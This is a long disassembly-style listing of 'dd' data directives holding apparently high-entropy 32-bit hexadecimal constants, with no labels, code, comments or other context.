dd 3401C437h, 6A5DC981h, 0BA933EFFh, 7E8EE1F2h, 3EE1C2BCh
dd 0D59EAEAFh, 0B2033924h, 0C807E479h, 56B868CFh, 8E0BF43Ah
dd 3507A36Eh, 5C17384Ch, 1DA51413h, 0D61AF2F3h, 33054FF8h
dd 0F039AF1Ch, 0ED948304h, 0C55AD0FEh, 2A3B4276h, 84F5036Bh
dd 40A0224h, 0F2461518h, 0CC040141h, 407E8B37h, 3F18F39Bh
dd 0E4FF74C0h, 8C1F9D7Dh, 0BB6C53FEh, 3B23A905h, 0F8B021EBh
dd 295F0126h, 201A40DAh, 67832639h, 4132285Fh, 5CF67FC4h
dd 4B038B5Ah, 0F7882FE9h, 7BD3C12h, 55A9BC4h, 35BF0968h
dd 402513A0h, 2100D46h, 50743F5h, 280AFD11h, 0DE85BF4h
dd 19C26F81h, 9826BD0h, 37B2D501h, 97AECC5Dh, 0CD37C622h
dd 0CB267457h, 0FDCC89C0h, 8B7FDA89h, 0D95E2F50h, 0E66861DEh
dd 86617867h, 3F2C478Fh, 515D231h, 533C0E77h, 53C8A1BFh
dd 0F102B2D4h, 400D4C19h, 9B146BF5h, 58ECBE07h, 6E812D94h
dd 3B7AA02Ch, 0B2074784h, 11953854h, 0F25A6BDh, 7B5535E2h
dd 58E9C2ABh, 0CCFD82F0h, 453D8813h, 4CABBF5Ah, 0B0AAE40Ah
dd 192F7815h, 8226FA67h, 5683C007h, 58B08655h, 75D9762Dh
dd 5F2D3B90h, 0B0DA4B9Fh, 7CEC19E4h, 0C55D3047h, 0BF54C2E3h
dd 7BBA507Ch, 35526831h, 2B2C06E9h, 974A35Eh, 0F53B8C68h
dd 0BD66B61Ch, 2D1C2018h, 0CADB8BEFh, 1C02E984h, 0BE5E54B3h
dd 0E909FA2Bh, 987E25DDh, 14E438C3h, 0CBDBF7EAh, 137A9102h
dd 87220906h, 6BD1DDCCh, 2918C5C8h, 4A0CD6Fh, 0F75E203Ch
dd 4C02B8D5h, 5E102FCh, 0D7094FCBh, 0B202A7F8h, 299F3977h
dd 0F6E277EEh, 0B3274646h, 10D2798Fh, 0E9107305h, 8927D720h
dd 5E5AAB7Dh, 928AD08Bh, 22EE2ED6h, 25FAB2C0h, 0AE42ED05h
dd 59ECFB4Bh, 60C1BC4Fh
dd 383319C0h, 9B6C90Bh, 3F3528Eh, 74D48544h, 0E648B8FDh
dd 2997405Ch, 5425D177h, 257BC66Fh, 0E2797DD5h, 7CB7773Ch
dd 825A4598h, 657839D1h, 5489D0A7h, 5B35F7Eh, 3FC57DC2h
dd 68EAD98Bh, 80A1303Dh, 0C2B6852h, 0E601B167h, 0DE3070B6h
dd 4687B06Bh, 0B6E5C028h, 0F857C525h, 18C09797h, 0EDF65BFDh
dd 0B652DB03h, 5A1EE96Dh, 12FBFD65h, 63A44BD4h, 30E1E5Ah
dd 0C570D202h, 0B2C0FBE0h, 1FA696Dh, 67F6810Dh, 7F219139h
dd 9C4331A4h, 0B8BB030Ch, 0D1E91022h, 7DA70E3h, 91E94B13h
dd 60050A43h, 5016E808h, 0BB580259h, 0ABE0CE8Bh, 0CE087F6Ah
dd 843542B9h, 0B8EB8309h, 2D4003A2h, 0D3D09B0h, 543ACDA8h
dd 78CB134Ch, 0E2C04828h, 7DFB7F5Eh, 0A3F09BB4h, 41D08228h
dd 0A56629F2h, 0AA05B316h, 7FE9AA02h, 0C2455648h, 32AFA457h
dd 7A6BD04h, 94F2D731h, 50B476C8h, 68BDD190h, 82C3F23Eh
dd 0B78BC82h, 2B14C220h, 5F530FA9h, 0B7CBF201h, 62BEAA60h
dd 3186B12h, 0E9C595B8h, 283EF016h, 2C72D0B0h, 0DDF9E8E0h
dd 71533A8Dh, 8E524453h, 3A521213h, 982C29B9h, 12B88535h
dd 0E8E88421h, 42405B19h, 926456C5h, 13017646h, 0C0D0E951h
dd 156625D3h, 1279843Dh, 8564D20Eh, 77AE7BC5h, 0D27BD47Fh
dd 4F5DD94Fh, 8CA53A65h, 70FEED48h, 9F954EB5h, 70E5ECF8h
dd 995F6C73h, 0C7C03264h, 4B197566h, 4D7F9817h, 0AC61118h
dd 4EEB278h, 0B5E9F539h, 82CF91A3h, 0CF0B3862h, 0C50351BEh
dd 0F976EEBBh, 6CE4F3D9h, 25E6905Fh, 0A91FD90h, 9BA63E96h
dd 6B720A78h, 0C195948h, 0C9597067h, 45540C0Ah, 389D8627h
dd 3C0C3B58h, 0E6DD17FBh, 0B291BB29h, 0D16B9943h, 2EAD7421h
dd 0A1C38A6h, 947F2543h, 107C5971h, 98E2A02Dh, 0BAAD6775h
dd 22E197B8h, 6E88652Ch, 5B7B52CBh, 0FADA98D7h, 79A302BFh
dd 277D6D5Dh, 0E7600AF9h, 0B856272Eh, 6C90B529h, 1A27B1CBh
dd 44866041h, 6DA53562h, 240E99Ah, 473FFCE7h, 79F5E04Ah
dd 7DAE1640h, 3F60E131h, 0E9C2318Bh, 39D56427h, 0C8AD58AFh
dd 0F45710C2h, 0C8BBE0B9h, 69090156h, 89C1D3F7h, 712B810Fh
dd 0CB418A30h, 0A780F11Ch, 0E77ECAF5h, 0F5F989EFh, 508D2CA3h
dd 0D07D325Ch, 978CFEAh, 0AC3FEF24h, 252D8908h, 0E51D4075h
dd 0AE90C966h, 31ADF4E0h, 2C1FD84Ch, 5C4BA1C8h, 69AC0718h
dd 9EABFFB8h, 0ED24C9FAh, 52654377h, 0E914D8FBh, 706D0538h
dd 957F1EBDh, 1BE32776h, 0E9468176h, 0B23FB6D5h, 97688463h
dd 34E989B0h, 0FB0A9CC7h, 0FCE2AE97h, 0F7FFB01Ah, 494B0641h
dd 0B50DF1E9h, 262DF798h, 9D259425h, 9E160202h, 0CE23807Fh
dd 0B078BC42h, 849A490Bh, 1505B16h, 0D90E2252h, 71F0DF46h
dd 215BF50Dh, 5B4C68BCh, 0B97D8B07h, 36EE6301h, 89255DB0h
dd 53B82095h, 12168E60h, 0AAA4AFE9h, 0B3053139h, 955A2DB6h
dd 7198AC5Ch, 6B717312h, 0D5B8DE80h, 0BD9213D8h, 4CBECB29h
dd 5A1E4D58h, 25162AF9h, 1C1DF3A9h, 5F380FF9h, 0FC8448E9h
dd 42530CA5h, 0CC0CD2A1h, 79BDD7AFh, 0E8BC120Ch, 8CA35EF5h
dd 2F556F7Bh, 3511F760h, 894F6A0Ah, 59CAD804h, 0D8D93587h
dd 0EBBF0CD6h, 0E77A2A02h, 0B5148F63h, 70A1BA7Ch, 0DE3505BDh
dd 0C23A533Dh, 5FE4B42Dh, 0FF06505Eh, 0F852FE29h, 84688022h
dd 5DF83F0Bh, 0B949F65Fh, 0BBF07B8Eh, 0B955C116h, 42BF0084h
dd 30B8300Fh, 344E3924h, 0DB86160h, 0B0CF83C1h, 295F2774h
dd 7BA5CB45h, 0E6A549DAh, 4F36931Eh, 17415E04h, 0D1AA77B3h
dd 6F53D681h, 4B38468Dh, 476B0B0Fh, 0EA360CE4h, 0F7ED495Fh
dd 24DA9C9Ah, 0D7CADD2Ch, 0A6D988Ch, 681DCD5Eh, 4FC712CAh
dd 85AD8CAEh, 0D8A07E27h, 0AD8B859h, 45EE80D2h, 29E439BFh
dd 0EB294471h, 1C0904ABh, 73A3829Eh, 55BB9BE8h, 609B4C1Eh
dd 7E3AB7CBh, 54DE67DCh, 0B1E8AFF1h, 1327E9A8h, 88A9F9F1h
dd 0FC27A798h, 0ED4804C2h, 0CE40BF03h, 0A1F0E626h, 0C1218031h
dd 5C55848h, 28241DC9h, 0E1ED6384h, 189EEB03h, 0ABDF3C09h
dd 0EF1CAB51h, 6B76AACFh, 0BBFAA8EBh, 0ED4E5403h, 7E220540h
dd 0A823AF27h, 59AC0EB6h, 0DF892426h, 3189EBA2h, 70697471h
dd 35760F5Bh, 0CDA13685h, 3EE35F2Eh, 40147201h, 0C824957h
dd 3DEB38A9h, 358FBE2h, 66E6B201h, 0B1515350h, 3A2AD370h
dd 996CF30h, 0C89AEE9Bh, 3BECE90Bh, 1E25445Ah, 50BB747Bh
dd 6D12C9C6h, 0ED1C731Dh, 0C7313BA0h, 81EB03AEh, 4927DFBFh
dd 0AB34575h, 60D0E131h, 0C6164868h, 404B2A7Dh, 2DBE3800h
dd 0F4093F45h, 2F37BCA5h, 0C30FA6F2h, 0F25174EDh, 0E9BE9CEBh
dd 2FD23535h, 0EE6F82ABh, 257E6F75h, 0CF1F2EF6h, 0D926D062h
dd 0E841960Eh, 6BD4BDE0h, 315A0528h, 408F51F0h, 2EED5345h
dd 0FB4612EFh, 8B6E8A39h, 7FDF042Ch, 0FDAA4655h, 0FEA0601h
dd 90C786Ch, 57307392h, 8912B974h, 97798AFDh, 9876947Fh
dd 95D6F4B7h, 4A06B3DFh, 0F789AEF3h, 50EBEA04h, 0D727EAFBh
dd 15D096F7h, 0A571B368h, 4E41F025h, 0DE407B05h, 0AFFB355Bh
dd 0A0544B52h, 55915353h, 5F18E368h, 0BF26ED4Fh, 740B2599h
dd 2881BB1Dh, 0D04B822Fh, 0B0A63055h, 0C7344CA9h, 0EFACC516h
dd 0E34048D9h, 0B0FC36A9h, 3D9A2D7Ch, 3A2D8119h, 4E8F2313h
dd 0FF02E91Ah, 0D22B51DDh, 0F7C11856h, 8D6A53F9h, 0AFA66036h
dd 40E110E5h, 0FE30A18h, 2DBD1F7h, 39F57803h, 9D2860DDh
dd 93C9B5BDh, 5FC1AD96h, 6C4A5494h, 0F743D4C0h, 0B0E2B8DBh
dd 62A20218h, 0F3213F90h, 9361ED8Eh, 2550D513h, 54852F51h
dd 1F7B84AEh, 0F8A6BA96h, 0A9E2135Ah, 0BA520173h, 4F977183h
dd 967311F0h, 0FE306211h, 0D08CFF0Fh, 3F800CBCh, 82197AF5h
dd 70B94506h, 3F2619B2h, 55725929h, 23136FA8h, 6E0BAD11h
dd 205994D7h, 0C2956A5Ch, 2FC557F0h, 0FE2723A8h, 76927575h
dd 0AA825FF2h, 3D1053FFh, 0AC6DA493h, 652ACDFBh, 39C5A900h
dd 0B4554E85h, 11CFCAEDh, 0C2EC3701h, 2AF352CAh, 0A22D055Eh
dd 0B9C80FE5h, 35200BE9h, 3A1907E7h, 4607548Bh, 510B868Dh
dd 0F661D168h, 8F167AD0h, 4668500Bh, 880A5923h, 0D42844A5h
dd 0D3555h, 765521E8h, 0B0801864h, 2DA22CBAh, 69375109h
dd 1BD5850Bh, 0E6D853ECh, 7B97015Ch, 2F6DA8C6h, 47EC7F2Eh
dd 0D3776D2Fh, 0E6A43A79h, 0ACE58F14h, 0FC114A05h, 0A3AAC1B7h
dd 0B12F869Eh, 0D0313F01h, 0FDD55F56h, 0D247A92Fh, 0E338B104h
dd 0AEDD8704h, 0F53A61D0h, 31651755h, 4D20BFE9h, 5A28BDh
dd 0F581390Eh, 7AE223D5h, 7673729Dh, 43EC2D01h, 9181C5Dh
dd 3DA0685Ch, 9889479h, 1B923E1Ch, 920FE21Ah, 40C128B4h
dd 34A68A4h, 27425814h, 2F095180h, 4073907Ch, 1308F378h
dd 0B3D4Ah, 0B678BBA8h, 7ABFF4C2h, 0DC80B5E3h, 220C7256h
dd 0C650F990h, 63B55807h, 4E7510EDh, 0DA871326h, 9E31170Eh
dd 0FFA119CBh, 0CF241144h, 0C1C9BD59h, 326E2DF0h, 429CFD0h
dd 6F842C2h, 94F7B902h, 3141C0C2h, 4931025Dh, 162EE44Ch
dd 0D130477h, 95A91783h, 2727E10h, 60083E68h, 6B3F563Ch
dd 0DF188957h, 6580BD4Ah, 714D3D50h, 0DEB7DAF4h, 0D14AE19Bh
dd 74097BE2h, 5D46623Ah, 68E190F1h, 0EB4D0BD4h, 3DAFF840h
dd 0B81A1A9Fh, 3C10BABh, 0F97E5Eh, 0EC34518Bh, 45A3C30Bh
dd 950A7062h, 1834B55Ch, 0E9C8E0AAh, 2A4575FFh, 908384CCh
dd 5712C145h, 2B5D5405h
dd 620BC8F9h, 0AA5F7167h, 3E0BBCC9h, 0E6BE9022h, 6E69D04h
dd 0FB31E095h, 40FE9CF2h, 108D6857h, 2D4C473Fh, 7D988967h
dd 0DAF268F8h, 658D295h, 15551DF2h, 10030C7Fh, 0E90D209Fh
dd 96516460h, 4B0EFC06h, 1E7AE2Ch, 2949D7DBh, 70315EF5h
dd 0D54BE957h, 66051C82h, 0C1235E34h, 7ADE280Eh, 12778A9h
dd 0ADCDA475h, 784AB0BCh, 933E982h, 0B1AD3CC0h, 442B16C7h
dd 95B6D2DCh, 906D1210h, 511BF7CEh, 0E8018D2Fh, 95ABE36Bh
dd 91D28898h, 1C0FD0ABh, 64B8FCB9h, 0C5A94B37h, 0D17A1E07h
dd 911CB36Bh, 0C480160Eh, 58E707A8h, 0C9866F6Eh, 4219C153h
dd 0CB038420h, 0C9D4EBCDh, 0BC4B82A0h, 524DDCABh, 0D309DD97h
dd 0ED145F7h, 0FE1669E1h, 95525F38h, 0A0F8147Fh, 808F05E4h
dd 31630C68h, 5725D4Bh, 7F20EFE9h, 0C79000E5h, 50E7286Fh
dd 83B8529Dh, 141C4108h, 470D096Bh, 5B7F4AD8h, 0E369F495h
dd 0A8B429E9h, 7845DE7Fh, 85AE578Bh, 0AEF3BFC2h, 808AFE4Bh
dd 6A367299h, 0C810D5A3h, 3F681CDDh, 575AC566h, 0D350B482h
dd 4FB84EFBh, 96CA6359h, 3E4A3013h, 412731FAh, 68F23B70h
dd 3EBB149Fh, 0AB13AD12h, 0A458E563h, 801DB700h, 0C007CACFh
dd 0D7F604E7h, 5D44A98Eh, 9E3FB666h, 58542E52h, 0D712B42Ch
dd 5E7AA8B6h, 0ABA11210h, 0CF2EABE3h, 0A65B975Fh, 0EF681397h
dd 0BEC861BBh, 328E2F65h, 9D7DD540h, 0BF1D8F7Ah, 10E3F92h
dd 9006F2FEh, 271CA7D1h, 0BB91055Ah, 4C776C4Bh, 0D13D7628h
dd 82C612E3h, 51F0EA41h, 0C8C052B1h, 17042D59h, 482C4F98h
dd 41226660h, 0B79AEFE9h, 8BF29323h, 34AA0A81h, 0D64E684Eh
dd 0D36CE8h, 0C227498Bh, 45FA5808h, 0F8FC0DDFh, 0E92F65B2h
dd 206D0B9Fh, 0A5BD552Ah, 70563F34h, 68C5C378h, 0CD1A2ED0h
dd 75E3B30Eh, 9AA1F7E4h, 1D2F111Fh, 342A8B3Eh, 3FF8DE01h
dd 9176E9C4h, 0DC575A51h, 90BE9F4Dh, 4864FD89h, 3D4ACA2Dh
dd 0C99329BAh, 0EED5357Ch, 55218DC9h, 0C42F2EC0h, 0CA9D4C3Ch
dd 0BF570286h, 60786AC7h, 80E12AEBh, 7B95EA83h, 52554993h
dd 0EA811DF6h, 30ACC158h, 4D036168h, 1BEE30B3h, 29ABB1BFh
dd 955BBC6Ah, 15CA4E2Bh, 0E6303D4Ch, 1276F561h, 8906DA12h
dd 152FF2EBh, 5FCFB7C0h, 4864B806h, 2EE17F7Dh, 47399C20h
dd 0C15DFB02h, 0F33E5C9Eh, 0B5CBA14Fh, 79DFA905h, 0D993382Ah
dd 794EE5Ch, 4BCD7A03h, 54BF176Fh, 0F5031466h, 68720104h
dd 0A2FC03E2h, 0FB7DF66h, 63696C05h, 0CC58FF74h, 31E90840h
dd 3024C221h, 0EBDD6EE8h, 5B0144F9h, 0E0B07FD1h, 149716A6h
dd 0AD12FAFEh, 0C4A7A2EAh, 98BBCB89h, 42974EDBh, 0DD37D7Ch
dd 6D226861h, 4CD9DFC2h, 55D56689h, 62009CC4h, 81684119h
dd 2F0158CAh, 0EC690C38h, 0AA805617h, 45729A09h, 40D00053h
dd 0B75BE551h, 0C517B878h, 90BBC044h, 0A92DC3F1h, 13EBE44Eh
dd 134EAADEh, 7F9053h, 3D4154A1h, 776E1B0Dh, 0BE01357Ah
dd 0E9893936h, 0F12C9EB8h, 4F23B892h, 75D427A5h, 395C2427h
dd 7D610BF2h, 2C385969h, 7F2099Ah, 0CA4255FBh, 0F2269167h
dd 0F84B134Fh, 3E587858h, 50004C35h, 820D0549h, 6997285Eh
dd 9FACEBAh, 9776E482h, 0FA5E10F7h, 7CA27B71h, 0F9F49D6Dh
dd 0D15377C9h, 0E9FBD6AFh, 0BBB9F1A0h, 2F7AC146h, 0EE849A2Dh
dd 97B3F628h, 0C245FC85h, 0BE001FFDh, 48EB0684h, 0DE026760h
dd 3157F0A4h, 0C401A942h, 0CBD21C44h, 16FF0C4Ah, 72F40C0Dh
dd 600BF2BFh, 4569E2Dh, 5F07890Dh, 0AD5D7421h, 0F67F84F7h
dd 0B413D514h, 30C8FBB1h, 2914A9EFh, 0EA26176Eh, 6913B02Eh
dd 0D39B297h, 0AC2A3F59h, 4D03EBF4h, 0F079FFD7h, 1B5024D8h
dd 55980B7h, 2E5F405Eh, 393F2D5Ch, 0E84C7DF0h, 5C8125A4h
dd 8774EAD7h, 9324668h, 0BA957B7Fh, 0FA285792h, 5F4F2ACCh
dd 47D54248h, 0E8C0B94Dh, 0C69DE38Dh, 7BCF2717h, 765A7971h
dd 0EA6A4406h, 242C098Dh, 0A6659412h, 756C6258h, 3C105A6Bh
dd 11AD7B9Dh, 2C5EB84Ch, 0CEF671EAh, 9368261h, 60835FFAh
dd 5B85045h, 7DF87ED2h, 1918129h, 4AB60D5h, 0F7F2455Bh
dd 34E921D8h, 0AD2C3F41h, 0C990E51Eh, 48601335h, 7B78008h
dd 0F0629A7Fh, 822CC147h, 7A1EB63Bh, 4E27262Fh, 0C98102F0h
dd 5AC5672Ch, 60205857h, 6E61659h, 0F1EC2907h, 0C8A2920Bh
dd 0F941DFB1h, 56E46AC6h, 0E9DE0B01h, 771AA09Dh, 25CA1675h
dd 0CE0B2DE9h, 5E2A16DDh, 1070BE2Ch, 0C5465168h, 0BB6544BBh
dd 8E5024B6h, 792BC40Fh, 1D0A33Bh, 3CBD0EACh, 9F30E6C1h
dd 2F7C9CEFh, 0DB398256h, 0E93F94C9h, 15A6C72Ah, 0ADC4F70Bh
dd 9560E820h, 34A99CD7h, 0AF208AE0h, 0D0126AA8h, 7A9CA760h
dd 1BCC5A4Fh, 0D900105h, 0F0292F0Bh, 0E907412Dh, 48F67881h
dd 285550D6h, 66BDDAACh, 712F20E4h, 0EF815698h, 2EE225BEh
dd 0ACBB3E24h, 12DA3DF0h, 0B2BB777Dh, 68598162h, 0AF666E74h
dd 0F41010h, 0DC110BBFh, 0B0FE2972h, 63EE4801h, 0F06A0B41h
dd 9869713Fh, 0B213094Fh, 79F68483h, 515EE902h, 5BF3B9D7h
dd 48D2A330h, 5DCDE7E1h, 21C7611Dh, 0DA82E39h, 2279E84Eh
dd 5344C96Ah, 9D70465Fh, 87851F76h, 85059227h, 0A74B62F1h
dd 8F0357D7h, 16EA263Ch, 0B0B09863h, 8924D218h, 1514ECF8h
dd 0CBAD7B6h, 0BFDD1EA2h, 260BFF09h, 2E3204Bh, 2DE97537h
dd 16F2F35Bh, 0FD49BCEEh, 95FE3734h, 0D501BDA2h, 0D3D079BBh
dd 274A4171h, 0E30DD4FAh, 0B7E91269h, 0B0FED6C5h, 501C0798h
dd 623B3CB4h, 575158F5h, 0E9E1345Bh, 942AA8D3h, 2012802Ch
dd 0EC90EC63h, 2A40C304h, 0AC9C28EBh, 0ED934B8Dh, 3DE9B0C0h
dd 82EC970Fh, 90872820h, 3EF21C0Eh, 5EAC22h, 0B49E44EEh
dd 0D3B68918h, 2127C0C8h, 8E7C1B8h, 0DE7C9D20h, 16DC4447h
dd 5861E81Ch, 4CCC1288h, 34BE07FEh, 0AF4E150Ah, 4245426h
dd 43CD5ABAh, 576A8289h, 94D5E541h, 9E9AC3FBh, 544A45C9h
dd 9878B979h, 4C877CAAh, 0F077549h, 0C2AC88CAh, 5BDDA79Ch
dd 0BF541779h, 9FA2C34h, 517D8D16h, 78FA86D7h, 0CB0C88D4h
dd 20714EE9h, 1EBA05BDh, 27291369h, 5EBBF3F9h, 22F01E4Fh
dd 0B53890B9h, 0F8AAB0C5h, 0C820A620h, 20A59E3Ah, 9C25A782h
dd 6BBB0F16h, 0E153552Dh, 6DB43B7Bh, 96E92702h, 0C028F442h
dd 0F05D5231h, 0C97BB518h, 0BB0CF42h, 0B98ED376h, 0E0694B6Bh
dd 3E1E1171h, 0CB83088Fh, 24CA2357h, 9C4F1801h, 58E9EF42h
dd 0F3A9C42Bh, 0CE8BDADAh, 21FF2EB9h, 2D874002h, 5BB6163Ah
dd 0C4038626h, 5449C3Ch, 6D27520Ch, 6A05EE78h, 0A2EAEB17h
dd 969D7B38h, 5AF09022h, 0C7E04945h, 79272254h, 94364539h
dd 0D7C8C2C2h, 9BD40E8h, 6C737D16h, 0F10F97ABh, 30747868h
dd 20F8FF7h, 0A0463D98h, 0C85A95F6h, 678BB573h, 0C45FDB1Ah
dd 0D298202Ah, 5F39FBFCh, 0CB2D029h, 7054713h, 6CB1AFECh
dd 45FD6E68h, 0BE6BFC4h, 16C0604Ah, 877E8210h, 2B7D0259h
dd 0E9C5662Ah, 8410BA39h, 7D7D7775h, 0D828ED1Fh, 66F0767Ah
dd 0D4B2521Fh, 0D01E299Fh, 3BAD4ABAh, 6E62FACBh, 2D99C67Dh
dd 0E8466568h, 1292BB3Fh, 3B0118D4h, 300E7329h, 945F6000h
dd 0DA64277Ah, 72C864C4h, 0C122E03h, 0FD783B4Fh, 2DEF0844h
dd 68908494h, 9ABA1FE4h, 0C4F65E30h, 1127FE5Ah, 0DCF279A4h
dd 29BA5201h, 6035474Eh, 502D604h, 0DBE90BA4h, 0D1F7037Eh
dd 0C66D9248h, 0D21604E1h
dd 81FDEC04h, 0A25E747Fh, 0CE88EDE0h, 413F5A2Ah, 0AC0F22F2h
dd 8E563029h, 0C7F55C60h, 4AB2448Fh, 5BAFECB0h, 0B5EB26A4h
dd 5E4C1052h, 0CB9F1248h, 82CFA2EEh, 400608EEh, 9583625Eh
dd 0F0F4604Ch, 9A3EFA95h, 6A91275Ah, 76A2A9FDh, 400C82A2h
dd 40553F83h, 828AB06Ch, 0F20960F7h, 5E78F41Eh, 2496E2C4h
dd 0A310AE56h, 0D78AF75Ah, 0B00FE544h, 3023F6FFh, 1B683CC1h
dd 41DB972Dh, 269B7A8h, 0CC527555h, 74E55B59h, 0D95A8077h
dd 0C5E746D1h, 0F2245E8Eh, 104A643h, 0EA6045DFh, 306C5521h
dd 9B002331h, 12CE2DB4h, 4F1CE923h, 622766CDh, 615E4713h
dd 8D5AC005h, 8761714h, 4698832Ah, 5D908CEDh, 9527557Ah
dd 7AAD6879h, 34659FFBh, 0FB2DD25h, 35454877h, 5447095Ch
dd 4ED64C01h, 0E9050C68h, 0F7ACABDAh, 817E45A1h, 69D2C749h
dd 43BBF5Ch, 0FEE2A181h, 7C7C06A3h, 84EF2AE8h, 0AD595A85h
dd 0A333C4A1h, 97E231BEh, 0F75C02EFh, 92A4F4E5h, 0D4300C1Ah
dd 14406F1h, 0F7183EF0h, 5486315Eh, 32D3B5ACh, 7C680830h
dd 16989778h, 28C2C36Bh, 0D85AF188h, 0D265F662h, 0C2A201BBh
dd 0CA8B1DF9h, 8E26AFFh, 1005A808h, 0F0AE7B6Bh, 0DE5A41CDh
dd 0E87986E3h, 0BB4AC147h, 9C6A21A6h, 70783E74h, 2DD9DBB7h
dd 75F21ED4h, 7D4B6571h, 7955CA12h, 0C20142E7h, 7A51661h
dd 1EAAF0F4h, 0E608CF4h, 510AEF61h, 9B8A40B7h, 352E6F28h
dd 0FD5A1234h, 0EBB6694Eh, 4A804EB2h, 0A1895571h, 0FB0BA056h
dd 924E55C4h, 62C1FC95h, 3AD65062h, 0EDE88565h, 0B1D6E9C4h
dd 0C4A626D1h, 0CDBAE1D1h, 4910963Dh, 8A0F7FA6h, 0FB7240C2h
dd 2644FD45h, 0BA3982CFh, 1833028Bh, 0B33D2304h, 10F5806h
dd 16BB0BE3h, 0E052A4E9h, 40C4F659h, 27A1E281h, 1247AE24h
dd 2809FD1Ch, 956BF807h, 8952B618h, 0EA84CDA0h, 9FED4C9Fh
dd 5938B652h, 8FAF4E17h, 59CE10E6h, 9694E50h, 94A3D08h
dd 335CE05Fh, 0CBB286Eh, 9BCBEE6h, 827FC831h, 5912ADEFh
dd 58618DC6h, 0F9917A10h, 870473F0h, 1E99F057h, 43955851h
dd 0AEF1C87Ch, 7ED501B2h, 3FE9CE29h, 0CB4F9307h, 0AF3804BAh
dd 4058000Bh, 2DF7F035h, 0AF0BDFFEh, 727D3C09h, 0E092838Ch
dd 96402142h, 9E528EEh, 331F0908h, 5561C2F7h, 0DF973FC4h
dd 842C9F14h, 66A56FA1h, 0F1861827h, 1D09A0FEh, 86602C81h
dd 894A4FABh, 798D425Dh, 510067C7h, 0E943B64Fh, 0FE725F67h
dd 33ED1B24h, 8A6984h, 677DBB53h, 295E1637h, 0C1C012DEh
dd 0DDA1B797h, 8123F6Dh, 0CCEA9784h, 6817D8EDh, 38CC603Dh
dd 185601E0h, 3FC98154h, 0FBB06F3Eh, 9596704Ch, 2D7F3657h
dd 7C9A7C72h, 687A215Dh, 324955B2h, 82E4B53Ah, 0AE1D2AEEh
dd 808C803h, 0A9780D19h, 0F111011Fh, 580C486Ch, 0CC042BC7h
dd 1AC10DA4h, 800046ABh, 2848D0C2h, 592C1D79h, 0B353F843h
dd 0D6EBE94Ch, 32ACF83Fh, 7F9910DBh, 0C11A5FA2h, 0C84CF657h
dd 1696109Ch, 60BCD989h, 212FF346h, 0E557A209h, 2B25E965h
dd 0C0A6D582h, 0D5089C31h, 93965AECh, 0FD1F011Ch, 73D196B1h
dd 0E3814300h, 4512AA14h, 62C31F94h, 1FDFA00h, 608FE9DFh
dd 65C57780h, 71601778h, 0F1C0EC0Ch, 0E9292F10h, 0BF800C16h
dd 414E6EC2h, 0C00399A0h, 35480606h, 72050599h, 0BCFAE946h
dd 128F9FB4h, 0BA79173Ah, 6FD0B3D7h, 2FE937B4h, 0D5495EE1h
dd 16C57A79h, 0B3A9EFBh, 769101E9h, 1A51E990h, 0E91F106Bh
dd 600241F6h, 0A5AA2534h, 5AA412C0h, 8E7F2981h, 3CF67F90h
dd 281CDD97h, 2A6AE916h, 17EE0B44h, 85988B1Eh, 801074B3h
dd 0D1137CB7h, 0E01800EBh, 0C115BC6Fh, 0C705EE2Eh, 7D25A51Ch
dd 685B3564h, 2C8B95B8h, 252E15D7h, 419EBBC0h, 88193B9h
dd 5B013340h, 0A839F1C7h, 0C923C2Ch, 59106793h, 71DF0507h
dd 26504AFCh, 3416DE13h, 57AAD029h, 6D2DAF08h, 12672560h
dd 806C5E35h, 0BB47F1F3h, 29D95D0Bh, 0B69994C8h, 61988A36h
dd 68586192h, 6322E48h, 4B5B5954h, 5FC7BAFFh, 0BA8230D9h
dd 60B605C7h, 0F22BCA78h, 0F7721A74h, 0DC4004DAh, 0D30B3642h
dd 40CAE973h, 5C29669Ah, 6E25F2D8h, 4B4852CAh, 6880224Eh
dd 0F07359DBh, 0EAD3D484h, 0F8024A8h, 4A146329h, 8C5E85FCh
dd 0F10FB9Eh, 575112B8h, 5B41A503h, 0C058108Fh, 9663EF2h
dd 230C9B4h, 0D4738C31h, 0C068E223h, 0D14A21DAh, 25C38BEBh
dd 5CF709ABh, 0FF30C55Ch, 52013FCBh, 0F607B551h, 1D7293DDh
dd 0DF59FD91h, 8717A06Dh, 17BEB3C5h, 0E8E9121Ch, 0DB951A1h
dd 0AEB2B02Eh, 905A4140h, 0BA5655C4h, 35118FF5h, 4BA86A9Ch
dd 8F9D9987h, 727A3837h, 73952205h, 0C291D309h, 6E3160B2h
dd 227BC721h, 0E4A5DCDBh, 92B6EF5Bh, 0B2DD3D31h, 2ACD217Eh
dd 5FB749AAh, 0DA08B254h, 44CEBB9Bh, 0A979CEFFh, 6AF7D21Ah
dd 877BE90Eh, 0EBF2AE13h, 7F8AAB93h, 0EF4D0384h, 0F7AE0F74h
dd 0B8BD1302h, 6958B6FCh, 0BE57D32Dh, 27CA80C6h, 90AF7318h
dd 533C06A7h, 0CE47688Eh, 0F0046F0Eh, 0B1E7C025h, 0C166087Fh
dd 0EBC2DD18h, 45C57A39h, 4FBBB4F4h, 0CD34BBD2h, 17DAE2AFh
dd 0A856673Ah, 426C9F18h, 499C3F0Dh, 688B4D2Dh, 1204C575h
dd 60E9E641h, 88635B3Ah, 0E8474E02h, 0F7810193h, 11A36D31h
dd 5DE90434h, 5D3B79A7h, 95F9752Ah, 11E900FEh, 0DFC6643Fh
dd 7DF0C052h, 0DB51DC4Bh, 6B9510F3h, 976681Eh, 64BA38F9h
dd 3DD06263h, 0E91667A0h, 8BC9A388h, 0B66070E0h, 0D3BB4080h
dd 4B017F7Dh, 51B5CB81h, 0EBD84292h, 0F8FFF8F3h, 5BDE2529h
dd 0DB2D1516h, 0C45A1Ch, 12DB1BBh, 0F7D38734h, 0FF08D26Bh
dd 704D0E07h, 0D689CBFEh, 9F5D4BB0h, 73611CA1h, 22CEFF25h
dd 0E9627699h, 68655D11h, 8DCA57A5h, 7BA40D41h, 63C473ACh
dd 0A28ED870h, 0A8C8415Eh, 3AD34568h, 0E9A161A2h, 92D23E94h
dd 2B38612Ch, 0E7D100FEh, 57BEDFF7h, 87EFC10Bh, 6161CFEFh
dd 522056D4h, 164D3871h, 64DF31BFh, 6024FA99h, 54BE78E4h
dd 0BF5F7478h, 6FC5FB41h, 596A1998h, 71D6F722h, 29E86F3h
dd 9C15C31h, 8E2C92C5h, 0D7C24D6h, 440C7C60h, 0C077A801h
dd 5D36E2FAh, 0CE682933h, 0E905081Ch, 0F5562C73h, 816D8A2h
dd 4C272067h, 0EDF92C07h, 4113C47h, 0CEDCD8BBh, 187B42B8h
